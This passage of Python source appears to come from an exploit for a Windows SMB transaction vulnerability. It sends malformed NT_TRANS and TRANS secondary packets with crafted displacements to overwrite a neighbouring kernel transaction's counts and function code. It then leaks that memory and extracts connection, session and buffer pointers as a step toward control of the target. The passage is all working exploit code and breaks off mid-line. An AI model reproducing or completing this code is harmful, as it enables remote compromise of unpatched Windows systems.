	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN

	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
	# modify paramterCount of first transaction

	conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])

	if info['arch'] == 'x64':

		conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)

		# restore trans2.InParameters pointer before leaking next transaction

		conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)

	wait_for_request_processed(conn)
	# ================================

	# leak transaction

	# ================================

	print('leak next transaction')

	# modify TRANSACTION member to leak info

	# function=5 (NT_TRANS_RENAME)

	conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])

	# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount

	conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
	conn.send_nt_trans_secondary(mid=special_mid)

	leakData = conn.recv_transaction_data(special_mid, 0x100)

	leakData = leakData[4:]  # remove param

	#open('leak.dat', 'wb').write(leakData)
	# check heap chunk size value in leak data

	if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):

		print('chunk size is wrong')

		return False
	# extract leak transaction data and make next transaction to be trans2

	leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

	leakTrans = leakData[leakTranOffset:]

	fmt = info['PTR_FMT']

	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)

	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])

	trans2_mid